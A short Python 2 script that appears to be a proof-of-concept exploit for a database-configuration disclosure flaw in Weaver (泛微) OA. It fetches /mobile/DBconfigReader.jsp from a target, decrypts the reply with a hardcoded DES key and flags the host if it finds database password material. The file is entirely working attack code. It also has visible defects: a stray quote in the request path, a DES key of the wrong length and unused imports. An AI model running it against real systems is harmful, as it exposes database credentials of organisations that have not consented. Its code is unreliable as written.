# coding: utf8
import string
from random import random
import httplib2
import pyDes

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0"
}


def detect(url):
    url = url + '"/mobile/DBconfigReader.jsp'
    http = httplib2.Http()
    res, content = http.request(url, 'GET', headers=headers)
    des_Key = pyDes.des('        ')
    des_Key.setKey('1z2x3c4v5b6n')

    result = des_Key.decrypt(content.strip()).strip()

    if res.status == 200:
        if result.find('password') >= 0:
            print url + u'存在泛微OA数据库泄露漏洞'